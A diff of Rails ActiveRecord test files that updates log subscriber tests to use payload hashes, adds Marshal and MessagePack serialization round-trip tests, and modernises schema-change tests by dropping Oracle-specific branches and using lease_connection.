 class LogSubscriberTest < ActiveRecord::TestCase
-  include ActiveSupport::LogSubscriber::TestHelper
+  include ActiveSupport::Testing::EventReporterAssertions
   include ActiveSupport::Logger::Severity
-  REGEXP_CLEAR = Regexp.escape(ActiveRecord::LogSubscriber::CLEAR)
-  REGEXP_BOLD = Regexp.escape(ActiveRecord::LogSubscriber::BOLD)
+  REGEXP_CLEAR = Regexp.escape("\e[#{ActiveRecord::LogSubscriber::MODES[:clear]}m")
+  REGEXP_BOLD = Regexp.escape("\e[#{ActiveRecord::LogSubscriber::MODES[:bold]}m")
   REGEXP_MAGENTA = Regexp.escape(ActiveRecord::LogSubscriber::MAGENTA)
   REGEXP_CYAN = Regexp.escape(ActiveRecord::LogSubscriber::CYAN)
   SQL_COLORINGS = {
@@ -30,114 +35,129 @@ def initialize
       super
     end
 
-    def debug(message)
-      @debugs << message
+    def debug(progname = nil, &block)
+      @debugs << progname
+      super
     end
   end
 
   fixtures :posts
 
+  def run(*)
+    with_debug_event_reporting do
+      super
+    end
+  end
+
   def setup
-    @old_logger = ActiveRecord::Base.logger
-    Developer.primary_key
     super
-    ActiveRecord::LogSubscriber.attach_to(:active_record)
+    ActiveSupport.colorize_logging = false
+    @logger = ActiveSupport::LogSubscriber::TestHelper::MockLogger.new
+    @old_logger = ActiveRecord::LogSubscriber.logger
+    ActiveRecord::LogSubscriber.logger = @logger
+    TestDebugLogSubscriber.logger = @logger
+    Developer.primary_key
+    ActiveRecord::Base.lease_connection.materialize_transactions
   end
 
   def teardown
     super
-    ActiveRecord::LogSubscriber.log_subscribers.pop
-    ActiveRecord::Base.logger = @old_logger
-  end
-
-  def set_logger(logger)
-    ActiveRecord::Base.logger = logger
+    ActiveRecord::LogSubscriber.logger = @old_logger
+    TestDebugLogSubscriber.logger = nil
+    ActiveSupport.colorize_logging = true
   end
 
   def test_schema_statements_are_ignored
-    event = Struct.new(:duration, :payload)
-
     logger = TestDebugLogSubscriber.new
     assert_equal 0, logger.debugs.length
 
-    logger.sql(event.new(0, sql: "hi mom!"))
+    logger.sql({ payload: { sql: "hi mom!", duration_ms: 0.9 } })
     assert_equal 1, logger.debugs.length
 
-    logger.sql(event.new(0, sql: "hi mom!", name: "foo"))
+    logger.sql({ payload: { name: "foo", sql: "hi mom!", duration_ms: 0.9 } })
     assert_equal 2, logger.debugs.length
 
-    logger.sql(event.new(0, sql: "hi mom!", name: "SCHEMA"))
+    logger.sql({ payload: { name: "SCHEMA", sql: "hi mom!", duration_ms: 0.9 } })
     assert_equal 2, logger.debugs.length
   end
 
   def test_sql_statements_are_not_squeezed
-    event = Struct.new(:duration, :payload)
     logger = TestDebugLogSubscriber.new
-    logger.sql(event.new(0, sql: "ruby   rails"))
+    logger.sql({ payload: { sql: "ruby   rails", duration_ms: 0.9 } })
     assert_match(/ruby   rails/, logger.debugs.first)
   end
 
   def test_basic_query_logging
     Developer.all.load
-    wait
     assert_equal 1, @logger.logged(:debug).size
     assert_match(/Developer Load/, @logger.logged(:debug).last)
     assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last)
   end
 
   def test_basic_query_logging_coloration
-    event = Struct.new(:duration, :payload)
     logger = TestDebugLogSubscriber.new
-    logger.colorize_logging = true
+    ActiveSupport.colorize_logging = true
     SQL_COLORINGS.each do |verb, color_regex|
-      logger.sql(event.new(0, sql: verb.to_s))
+      logger.sql({ payload: { sql: verb.to_s, duration_ms: 0.9 } })
       assert_match(/#{REGEXP_BOLD}#{color_regex}#{verb}#{REGEXP_CLEAR}/i, logger.debugs.last)
     end
   end
 
+  def test_logging_sql_coloration_disabled
+    logger = TestDebugLogSubscriber.new
+    ActiveSupport.colorize_logging = false
+
+    SQL_COLORINGS.each do |verb, color_regex|
+      logger.sql({ payload: { sql: verb.to_s, duration_ms: 0.9 } })
+      assert_no_match(/#{REGEXP_BOLD}#{color_regex}#{verb}#{REGEXP_CLEAR}/i, logger.debugs.last)
+    end
+  end
+
   def test_basic_payload_name_logging_coloration_generic_sql
-    event = Struct.new(:duration, :payload)
     logger = TestDebugLogSubscriber.new
-    logger.colorize_logging = true
+    ActiveSupport.colorize_logging = true
     SQL_COLORINGS.each do |verb, _|
-      logger.sql(event.new(0, sql: verb.to_s))
-      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0.0ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
+      logger.sql({ payload: { sql: verb.to_s, duration_ms: 0.9 } })
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0\.9ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
 
-      logger.sql(event.new(0, sql: verb.to_s, name: "SQL"))
-      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA}SQL \(0.0ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
+      logger.sql({ payload: { name: "SQL", sql: verb.to_s, duration_ms: 0.9 } })
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA}SQL \(0\.9ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
     end
   end
 
   def test_basic_payload_name_logging_coloration_named_sql
-    event = Struct.new(:duration, :payload)
     logger = TestDebugLogSubscriber.new
-    logger.colorize_logging = true
+    ActiveSupport.colorize_logging = true
     SQL_COLORINGS.each do |verb, _|
-      logger.sql(event.new(0, sql: verb.to_s, name: "Model Load"))
-      assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}Model Load \(0.0ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
+      logger.sql({ payload: { sql: verb.to_s, name: "Model Load", duration_ms: 0.9 } })
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}Model Load \(0\.9ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
 
-      logger.sql(event.new(0, sql: verb.to_s, name: "Model Exists"))
-      assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}Model Exists \(0.0ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
+      logger.sql({ payload: { sql: verb.to_s, name: "Model Exists", duration_ms: 0.9 } })
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}Model Exists \(0\.9ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
 
-      logger.sql(event.new(0, sql: verb.to_s, name: "ANY SPECIFIC NAME"))
-      assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}ANY SPECIFIC NAME \(0.0ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
+      logger.sql({ payload: { sql: verb.to_s, name: "ANY SPECIFIC NAME", duration_ms: 0.9 } })
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_CYAN}ANY SPECIFIC NAME \(0\.9ms\)#{REGEXP_CLEAR}/i, logger.debugs.last)
     end
   end
 
+  def test_async_query
+    logger = TestDebugLogSubscriber.new
+    logger.sql({ payload: { sql: "SELECT * from models", name: "Model Load", async: true, lock_wait: 0.01, duration_ms: 0.9 } })
+    assert_match(/ASYNC Model Load \(0\.0ms\) \(db time 0\.9ms\)  SELECT/i, logger.debugs.last)
+  end
+
   def test_query_logging_coloration_with_nested_select
-    event = Struct.new(:duration, :payload)
     logger = TestDebugLogSubscriber.new
-    logger.colorize_logging = true
+    ActiveSupport.colorize_logging = true
     SQL_COLORINGS.slice(:SELECT, :INSERT, :UPDATE, :DELETE).each do |verb, color_regex|
-      logger.sql(event.new(0, sql: "#{verb} WHERE ID IN SELECT"))
-      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0.0ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{color_regex}#{verb} WHERE ID IN SELECT#{REGEXP_CLEAR}/i, logger.debugs.last)
+      logger.sql({ payload: { sql: "#{verb} WHERE ID IN SELECT", duration_ms: 0.9 } })
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0\.9ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{color_regex}#{verb} WHERE ID IN SELECT#{REGEXP_CLEAR}/i, logger.debugs.last)
     end
   end
 
   def test_query_logging_coloration_with_multi_line_nested_select
-    event = Struct.new(:duration, :payload)
     logger = TestDebugLogSubscriber.new
-    logger.colorize_logging = true
+    ActiveSupport.colorize_logging = true
     SQL_COLORINGS.slice(:SELECT, :INSERT, :UPDATE, :DELETE).each do |verb, color_regex|
       sql = <<-EOS
         #{verb}
@@ -145,44 +165,71 @@ def test_query_logging_coloration_with_multi_line_nested_select
           SELECT ID FROM THINGS
         )
       EOS
-      logger.sql(event.new(0, sql: sql))
-      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0.0ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{color_regex}.*#{verb}.*#{REGEXP_CLEAR}/mi, logger.debugs.last)
+      logger.sql({ payload: { sql: sql, duration_ms: 0.9 } })
+      assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0\.9ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{color_regex}.*#{verb}.*#{REGEXP_CLEAR}/mi, logger.debugs.last)
     end
   end
 
   def test_query_logging_coloration_with_lock
-    event = Struct.new(:duration, :payload)
     logger = TestDebugLogSubscriber.new
-    logger.colorize_logging = true
+    ActiveSupport.colorize_logging = true
     sql = <<-EOS
       SELECT * FROM
         (SELECT * FROM mytable FOR UPDATE) ss
       WHERE col1 = 5;
     EOS
-    logger.sql(event.new(0, sql: sql))
-    assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0.0ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{SQL_COLORINGS[:LOCK]}.*FOR UPDATE.*#{REGEXP_CLEAR}/mi, logger.debugs.last)
+    logger.sql({ payload: { sql: sql, duration_ms: 0.9 } })
+    assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0\.9ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{SQL_COLORINGS[:LOCK]}.*FOR UPDATE.*#{REGEXP_CLEAR}/mi, logger.debugs.last)
 
     sql = <<-EOS
       LOCK TABLE films IN SHARE MODE;
     EOS
-    logger.sql(event.new(0, sql: sql))
-    assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0.0ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{SQL_COLORINGS[:LOCK]}.*LOCK TABLE.*#{REGEXP_CLEAR}/mi, logger.debugs.last)
+    logger.sql({ payload: { sql: sql, duration_ms: 0.9 } })
+    assert_match(/#{REGEXP_BOLD}#{REGEXP_MAGENTA} \(0\.9ms\)#{REGEXP_CLEAR}  #{REGEXP_BOLD}#{SQL_COLORINGS[:LOCK]}.*LOCK TABLE.*#{REGEXP_CLEAR}/mi, logger.debugs.last)
   end
 
   def test_exists_query_logging
     Developer.exists? 1
-    wait
     assert_equal 1, @logger.logged(:debug).size
     assert_match(/Developer Exists/, @logger.logged(:debug).last)
     assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last)
   end
 
+  def test_verbose_query_logs
+    ActiveRecord.verbose_query_logs = true
+
+    logger = TestDebugLogSubscriber.new
+    logger.sql({ payload: { sql: "hi mom!", duration_ms: 0 } })
+    assert_equal 2, @logger.logged(:debug).size
+    assert_match(/↳/, @logger.logged(:debug).last)
+  ensure
+    ActiveRecord.verbose_query_logs = false
+  end
+
+  def test_verbose_query_with_ignored_callstack
+    ActiveRecord.verbose_query_logs = true
+
+    logger = TestDebugLogSubscriber.new
+    def logger.query_source_location; nil; end
+
+    logger.sql({ payload: { sql: "hi mom!", duration_ms: 0 } })
+    assert_equal 1, @logger.logged(:debug).size
+    assert_no_match(/↳/, @logger.logged(:debug).last)
+  ensure
+    ActiveRecord.verbose_query_logs = false
+  end
+
+  def test_verbose_query_logs_disabled_by_default
+    logger = TestDebugLogSubscriber.new
+    logger.sql({ payload: { sql: "hi mom!", duration_ms: 0 } })
+    assert_no_match(/↳/, @logger.logged(:debug).last)
+  end
+
   def test_cached_queries
     ActiveRecord::Base.cache do
       Developer.all.load
       Developer.all.load
     end
-    wait
     assert_equal 2, @logger.logged(:debug).size
     assert_match(/CACHE/, @logger.logged(:debug).last)
     assert_match(/SELECT .*?FROM .?developers.?/i, @logger.logged(:debug).last)
@@ -191,7 +238,6 @@ def test_cached_queries
   def test_basic_query_doesnt_log_when_level_is_not_debug
     @logger.level = INFO
     Developer.all.load
-    wait
     assert_equal 0, @logger.logged(:debug).size
   end
 
@@ -201,25 +247,23 @@ def test_cached_queries_doesnt_log_when_level_is_not_debug
       Developer.all.load
       Developer.all.load
     end
-    wait
     assert_equal 0, @logger.logged(:debug).size
   end
 
-  def test_initializes_runtime
-    Thread.new { assert_equal 0, ActiveRecord::LogSubscriber.runtime }.join
-  end
+  if ActiveRecord::Base.lease_connection.prepared_statements
+    def test_where_in_binds_logging_include_attribute_names
+      Developer.where(id: [1, 2, 3, 4, 5]).load
+      assert_match(%{["id", 1], ["id", 2], ["id", 3], ["id", 4], ["id", 5]}, @logger.logged(:debug).last)
+    end
 
-  if ActiveRecord::Base.connection.prepared_statements
     def test_binary_data_is_not_logged
       Binary.create(data: "some binary data")
-      wait
       assert_match(/<16 bytes of binary data>/, @logger.logged(:debug).join)
     end
 
     def test_binary_data_hash
       Binary.create(data: { a: 1 })
-      wait
-      assert_match(/<7 bytes of binary data>/, @logger.logged(:debug).join)
+      assert_match(/<(6|7) bytes of binary data>/, @logger.logged(:debug).join)
     end
   end
 end
diff --git a/activerecord/test/cases/marshal_serialization_test.rb b/activerecord/test/cases/marshal_serialization_test.rb
new file mode 100644
index 0000000000000..26807639d427b
--- /dev/null
+++ b/activerecord/test/cases/marshal_serialization_test.rb
@@ -0,0 +1,112 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/topic"
+require "models/reply"
+
+class MarshalSerializationTest < ActiveRecord::TestCase
+  fixtures :topics
+
+  setup do
+    @previous_format_version = ActiveRecord::Marshalling.format_version
+  end
+
+  teardown do
+    ActiveRecord::Marshalling.format_version = @previous_format_version
+  end
+
+  def test_deserializing_rails_6_1_marshal_basic
+    topic = Marshal.load(marshal_fixture("rails_6_1_topic"))
+
+    assert_not_predicate topic, :new_record?
+    assert_equal 1, topic.id
+    assert_equal "The First Topic", topic.title
+    assert_equal "Have a nice day", topic.content
+  end
+
+  def test_deserializing_rails_6_1_marshal_with_loaded_association_cache
+    topic = Marshal.load(marshal_fixture("rails_6_1_topic_associations"))
+
+    assert_not_predicate topic, :new_record?
+    assert_equal 1, topic.id
+    assert_equal "The First Topic", topic.title
+    assert_equal "Have a nice day", topic.content
+    assert_predicate topic.association(:replies), :loaded?
+    assert_predicate topic.replies.first.association(:topic), :loaded?
+  end
+
+  def test_deserializing_rails_7_1_marshal_basic
+    topic = Marshal.load(marshal_fixture("rails_7_1_topic"))
+
+    assert_not_predicate topic, :new_record?
+    assert_equal 1, topic.id
+    assert_equal "The First Topic", topic.title
+    assert_equal "Have a nice day", topic.content
+  end
+
+  def test_deserializing_rails_7_1_marshal_with_loaded_association_cache
+    topic = Marshal.load(marshal_fixture("rails_7_1_topic_associations"))
+
+    assert_not_predicate topic, :new_record?
+    assert_equal 1, topic.id
+    assert_equal "The First Topic", topic.title
+    assert_equal "Have a nice day", topic.content
+    assert_predicate topic.association(:replies), :loaded?
+    assert_predicate topic.replies.first.association(:topic), :loaded?
+    assert_same topic, topic.replies.first.topic
+  end
+
+  def test_rails_6_1_rountrip
+    topic = Topic.find(1)
+    topic.replies.to_a
+    topic = Marshal.load(Marshal.dump(topic))
+
+    assert_not_predicate topic, :new_record?
+    assert_equal 1, topic.id
+    assert_equal "The First Topic", topic.title
+    assert_equal "Have a nice day", topic.content
+    assert_predicate topic.association(:replies), :loaded?
+  end
+
+  def test_rails_7_1_rountrip
+    ActiveRecord::Marshalling.format_version = 7.1
+
+    topic = Topic.find(1)
+    topic.replies.each(&:topic)
+    assert_not_equal 0, topic.replies.size
+    topic.replies.each do |reply|
+      assert_same topic, reply.topic
+    end
+
+    topic.association(:open_replies)
+    assert_equal true, topic.association_cached?(:open_replies)
+    assert_not_predicate topic.association(:open_replies), :loaded?
+
+    topic = Marshal.load(Marshal.dump(topic))
+
+    assert_not_predicate topic, :new_record?
+    assert_equal 1, topic.id
+    assert_equal "The First Topic", topic.title
+    assert_equal "Have a nice day", topic.content
+    assert_predicate topic.association(:replies), :loaded?
+
+    assert_not_predicate topic.association(:open_replies), :loaded?
+
+    assert_not_equal 0, topic.replies.size
+    topic.replies.each do |reply|
+      assert_same topic, reply.topic
+    end
+  end
+
+  private
+    def marshal_fixture(file_name)
+      File.binread(marshal_fixture_path(file_name))
+    end
+
+    def marshal_fixture_path(file_name)
+      File.expand_path(
+        "support/marshal_compatibility_fixtures/#{ActiveRecord::Base.lease_connection.adapter_name}/#{file_name}.dump",
+        TEST_ROOT
+      )
+    end
+end
diff --git a/activerecord/test/cases/message_pack_test.rb b/activerecord/test/cases/message_pack_test.rb
new file mode 100644
index 0000000000000..1b1f8c17ac8c8
--- /dev/null
+++ b/activerecord/test/cases/message_pack_test.rb
@@ -0,0 +1,91 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/binary"
+require "models/comment"
+require "models/post"
+require "active_support/message_pack"
+require "active_record/message_pack"
+
+class ActiveRecordMessagePackTest < ActiveRecord::TestCase
+  fixtures :posts, :comments, :authors, :author_addresses
+
+  test "enshrines type IDs" do
+    expected = {
+      119 => ActiveModel::Type::Binary::Data,
+      120 => ActiveRecord::Base,
+    }
+
+    factory = ::MessagePack::Factory.new
+    ActiveRecord::MessagePack::Extensions.install(factory)
+    actual = factory.registered_types.to_h do |entry|
+      [entry[:type], entry[:class]]
+    end
+
+    assert_equal expected, actual
+  end
+
+  test "roundtrips record and cached associations" do
+    post = Post.create!(title: "A Title", body: "A body.")
+    post.create_author!(name: "An Author")
+    post.comments.create!(body: "A comment.")
+    post.comments.create!(body: "Another comment.", author: post.author)
+    post.comments.load
+
+    assert_no_queries do
+      roundtripped_post = roundtrip(post)
+
+      assert_equal post, roundtripped_post
+      assert_equal post.author, roundtripped_post.author
+      assert_equal post.comments.to_a, roundtripped_post.comments.to_a
+      assert_equal post.comments.map(&:author), roundtripped_post.comments.map(&:author)
+
+      assert_same roundtripped_post, roundtripped_post.comments[0].post
+      assert_same roundtripped_post, roundtripped_post.comments[1].post
+      assert_same roundtripped_post.author, roundtripped_post.comments[1].author
+    end
+  end
+
+  test "roundtrips new_record? status" do
+    post = Post.new(title: "A Title", body: "A body.")
+    post.create_author!(name: "An Author")
+
+    assert_no_queries do
+      roundtripped_post = roundtrip(post)
+
+      assert_equal post.attributes, roundtripped_post.attributes
+      assert_equal post.new_record?, roundtripped_post.new_record?
+      assert_equal post.author, roundtripped_post.author
+      assert_equal post.author.new_record?, roundtripped_post.author.new_record?
+    end
+  end
+
+  test "roundtrips binary attribute" do
+    binary = Binary.new(data: Marshal.dump("data"))
+    assert_equal binary.attributes, roundtrip(binary).attributes
+  end
+
+  test "raises ActiveSupport::MessagePack::MissingClassError if record class no longer exists" do
+    klass = Class.new(Post)
+    def klass.name; "SomeLegacyClass"; end
+    dumped = serializer.dump(klass.new(title: "A Title", body: "A body."))
+
+    assert_raises ActiveSupport::MessagePack::MissingClassError do
+      serializer.load(dumped)
+    end
+  end
+
+  private
+    def serializer
+      @serializer ||= ::MessagePack::Factory.new.tap do |factory|
+        ActiveRecord::MessagePack::Extensions.install(factory)
+        ActiveSupport::MessagePack::Extensions.install(factory)
+        ActiveSupport::MessagePack::Extensions.install_unregistered_type_error(factory)
+      end
+    end
+
+    def roundtrip(input)
+      serializer.load(serializer.dump(input))
+    end
+end
diff --git a/activerecord/test/cases/migration/change_schema_test.rb b/activerecord/test/cases/migration/change_schema_test.rb
index 48cfe89882a16..3ebcd51051661 100644
--- a/activerecord/test/cases/migration/change_schema_test.rb
+++ b/activerecord/test/cases/migration/change_schema_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "cases/helper"
 
 module ActiveRecord
@@ -7,7 +9,7 @@ class ChangeSchemaTest < ActiveRecord::TestCase
 
       def setup
         super
-        @connection = ActiveRecord::Base.connection
+        @connection = ActiveRecord::Base.lease_connection
         @table_name = :testings
       end
 
@@ -19,14 +21,14 @@ def setup
 
       def test_create_table_without_id
         testing_table_with_only_foo_attribute do
-          assert_equal connection.columns(:testings).size, 1
+          assert_equal 1, connection.columns(:testings).size
         end
       end
 
       def test_add_column_with_primary_key_attribute
         testing_table_with_only_foo_attribute do
           connection.add_column :testings, :id, :primary_key
-          assert_equal connection.columns(:testings).size, 2
+          assert_equal 2, connection.columns(:testings).size
         end
       end
 
@@ -50,7 +52,7 @@ def test_create_table_with_not_null_column
 
       def test_create_table_with_defaults
         # MySQL doesn't allow defaults on TEXT or BLOB columns.
-        mysql = current_adapter?(:Mysql2Adapter)
+        mysql = current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
 
         connection.create_table :testings do |t|
           t.column :one, :string, default: "hello"
@@ -68,9 +70,9 @@ def test_create_table_with_defaults
         five = columns.detect { |c| c.name == "five" } unless mysql
 
         assert_equal "hello", one.default
-        assert_equal true, connection.lookup_cast_type_from_column(two).deserialize(two.default)
-        assert_equal false, connection.lookup_cast_type_from_column(three).deserialize(three.default)
-        assert_equal "1", four.default
+        assert_equal true, two.fetch_cast_type(connection).deserialize(two.default)
+        assert_equal false, three.fetch_cast_type(connection).deserialize(three.default)
+        assert_equal 1, four.default
         assert_equal "hello", five.default unless mysql
       end
 
@@ -82,7 +84,7 @@ def test_add_column_with_array
           columns = connection.columns(:testings)
           array_column = columns.detect { |c| c.name == "foo" }
 
-          assert array_column.array?
+          assert_predicate array_column, :array?
         end
 
         def test_create_table_with_array_column
@@ -93,7 +95,7 @@ def test_create_table_with_array_column
           columns = connection.columns(:testings)
           array_column = columns.detect { |c| c.name == "foo" }
 
-          assert array_column.array?
+          assert_predicate array_column, :array?
         end
       end
 
@@ -104,9 +106,7 @@ def test_create_table_with_bigint
         columns = connection.columns(:testings)
         eight   = columns.detect { |c| c.name == "eight_int"   }
 
-        if current_adapter?(:OracleAdapter)
-          assert_equal "NUMBER(19)", eight.sql_type
-        elsif current_adapter?(:SQLite3Adapter)
+        if current_adapter?(:SQLite3Adapter)
           assert_equal "bigint", eight.sql_type
         else
           assert_equal :integer, eight.type
@@ -141,16 +141,11 @@ def test_create_table_with_limits
           assert_equal "smallint", one.sql_type
           assert_equal "integer", four.sql_type
           assert_equal "bigint", eight.sql_type
-        elsif current_adapter?(:Mysql2Adapter)
-          assert_match "int(11)", default.sql_type
-          assert_match "tinyint", one.sql_type
-          assert_match "int", four.sql_type
-          assert_match "bigint", eight.sql_type
-        elsif current_adapter?(:OracleAdapter)
-          assert_equal "NUMBER(38)", default.sql_type
-          assert_equal "NUMBER(1)", one.sql_type
-          assert_equal "NUMBER(4)", four.sql_type
-          assert_equal "NUMBER(8)", eight.sql_type
+        elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+          assert_match %r/\Aint/, default.sql_type
+          assert_match %r/\Atinyint/, one.sql_type
+          assert_match %r/\Aint/, four.sql_type
+          assert_match %r/\Abigint/, eight.sql_type
         end
       end
 
@@ -181,7 +176,7 @@ def test_create_table_raises_when_redefining_primary_key_column
           end
         end
 
-        assert_equal "you can't redefine the primary key column 'id'. To define a custom primary key, pass { id: false } to create_table.", error.message
+        assert_equal "you can't redefine the primary key column 'id' on 'testings'. To define a custom primary key, pass { id: false } to create_table.", error.message
       end
 
       def test_create_table_raises_when_redefining_custom_primary_key_column
@@ -191,7 +186,18 @@ def test_create_table_raises_when_redefining_custom_primary_key_column
           end
         end
 
-        assert_equal "you can't redefine the primary key column 'testing_id'. To define a custom primary key, pass { id: false } to create_table.", error.message
+        assert_equal "you can't redefine the primary key column 'testing_id' on 'testings'. To define a custom primary key, pass { id: false } to create_table.", error.message
+      end
+
+      def test_create_table_raises_when_defining_existing_column
+        error = assert_raise(ArgumentError) do
+          connection.create_table :testings do |t|
+            t.column :testing_column, :string
+            t.column :testing_column, :integer
+          end
+        end
+
+        assert_equal "you can't define an already defined column 'testing_column' on 'testings'.", error.message
       end
 
       def test_create_table_with_timestamps_should_create_datetime_columns
@@ -203,8 +209,8 @@ def test_create_table_with_timestamps_should_create_datetime_columns
         created_at_column = created_columns.detect { |c| c.name == "created_at" }
         updated_at_column = created_columns.detect { |c| c.name == "updated_at" }
 
-        assert !created_at_column.null
-        assert !updated_at_column.null
+        assert_not created_at_column.null
+        assert_not updated_at_column.null
       end
 
       def test_create_table_with_timestamps_should_create_datetime_columns_with_options
@@ -222,6 +228,7 @@ def test_create_table_with_timestamps_should_create_datetime_columns_with_option
 
       def test_create_table_without_a_block
         connection.create_table table_name
+        assert connection.table_exists?(table_name)
       end
 
       # SQLite3 will not allow you to add a NOT NULL
@@ -262,15 +269,69 @@ def test_add_column_with_timestamp_type
           t.column :foo, :timestamp
         end
 
-        klass = Class.new(ActiveRecord::Base)
-        klass.table_name = "testings"
+        column = connection.columns(:testings).find { |c| c.name == "foo" }
+
+        assert_equal :datetime, column.type
+
+        if current_adapter?(:PostgreSQLAdapter)
+          assert_equal "timestamp without time zone", column.sql_type
+        elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+          assert_equal "timestamp", column.sql_type
+        else
+          assert_equal connection.type_to_sql("datetime(6)"), column.sql_type
+        end
+      end
+
+      def test_add_column_with_postgresql_datetime_type
+        connection.create_table :testings do |t|
+          t.column :foo, :datetime
+        end
+
+        column = connection.columns(:testings).find { |c| c.name == "foo" }
+
+        assert_equal :datetime, column.type
+
+        if current_adapter?(:PostgreSQLAdapter)
+          assert_equal "timestamp(6) without time zone", column.sql_type
+        elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+          assert_equal "datetime(6)", column.sql_type
+        else
+          assert_equal connection.type_to_sql("datetime(6)"), column.sql_type
+        end
+      end
+
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_add_column_with_datetime_in_timestamptz_mode
+          with_postgresql_datetime_type(:timestamptz) do
+            connection.create_table :testings do |t|
+              t.column :foo, :datetime
+            end
+
+            column = connection.columns(:testings).find { |c| c.name == "foo" }
+
+            assert_equal :datetime, column.type
+            assert_equal "timestamp(6) with time zone", column.sql_type
+          end
+        end
+      end
+
+      def test_change_column_with_timestamp_type
+        connection.create_table :testings do |t|
+          t.column :foo, :datetime, null: false
+        end
+
+        connection.change_column :testings, :foo, :timestamp
+
+        column = connection.columns(:testings).find { |c| c.name == "foo" }
 
-        assert_equal :datetime, klass.columns_hash["foo"].type
+        assert_equal :datetime, column.type
 
         if current_adapter?(:PostgreSQLAdapter)
-          assert_equal "timestamp without time zone", klass.columns_hash["foo"].sql_type
+          assert_equal "timestamp without time zone", column.sql_type
+        elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+          assert_equal "timestamp", column.sql_type
         else
-          assert_equal klass.connection.type_to_sql("datetime"), klass.columns_hash["foo"].sql_type
+          assert_equal connection.type_to_sql("datetime(6)"), column.sql_type
         end
       end
 
@@ -281,12 +342,9 @@ def test_change_column_quotes_column_names
 
         connection.change_column :testings, :select, :string, limit: 10
 
-        # Oracle needs primary key value from sequence
-        if current_adapter?(:OracleAdapter)
-          connection.execute "insert into testings (id, #{connection.quote_column_name('select')}) values (testings_seq.nextval, '7 chars')"
-        else
-          connection.execute "insert into testings (#{connection.quote_column_name('select')}) values ('7 chars')"
-        end
+        connection.execute "insert into testings (#{connection.quote_column_name('select')}) values ('7 chars')"
+
+        assert_equal 1, connection.select_value("SELECT COUNT(*) FROM testings")
       end
 
       def test_keeping_default_and_notnull_constraints_on_change
@@ -296,45 +354,40 @@ def test_keeping_default_and_notnull_constraints_on_change
         person_klass = Class.new(ActiveRecord::Base)
         person_klass.table_name = "testings"
 
-        person_klass.connection.add_column "testings", "wealth", :integer, null: false, default: 99
+        person_klass.lease_connection.add_column "testings", "wealth", :integer, null: false, default: 99
         person_klass.reset_column_information
         assert_equal 99, person_klass.column_defaults["wealth"]
         assert_equal false, person_klass.columns_hash["wealth"].null
-        # Oracle needs primary key value from sequence
-        if current_adapter?(:OracleAdapter)
-          assert_nothing_raised { person_klass.connection.execute("insert into testings (id, title) values (testings_seq.nextval, 'tester')") }
-        else
-          assert_nothing_raised { person_klass.connection.execute("insert into testings (title) values ('tester')") }
-        end
+        assert_nothing_raised { person_klass.lease_connection.execute("insert into testings (title) values ('tester')") }
 
         # change column default to see that column doesn't lose its not null definition
-        person_klass.connection.change_column_default "testings", "wealth", 100
+        person_klass.lease_connection.change_column_default "testings", "wealth", 100
         person_klass.reset_column_information
         assert_equal 100, person_klass.column_defaults["wealth"]
         assert_equal false, person_klass.columns_hash["wealth"].null
 
         # rename column to see that column doesn't lose its not null and/or default definition
-        person_klass.connection.rename_column "testings", "wealth", "money"
+        person_klass.lease_connection.rename_column "testings", "wealth", "money"
         person_klass.reset_column_information
         assert_nil person_klass.columns_hash["wealth"]
         assert_equal 100, person_klass.column_defaults["money"]
         assert_equal false, person_klass.columns_hash["money"].null
 
         # change column
-        person_klass.connection.change_column "testings", "money", :integer, null: false, default: 1000
+        person_klass.lease_connection.change_column "testings", "money", :integer, null: false, default: 1000
         person_klass.reset_column_information
         assert_equal 1000, person_klass.column_defaults["money"]
         assert_equal false, person_klass.columns_hash["money"].null
 
         # change column, make it nullable and clear default
-        person_klass.connection.change_column "testings", "money", :integer, null: true, default: nil
+        person_klass.lease_connection.change_column "testings", "money", :integer, null: true, default: nil
         person_klass.reset_column_information
         assert_nil person_klass.columns_hash["money"].default
         assert_equal true, person_klass.columns_hash["money"].null
 
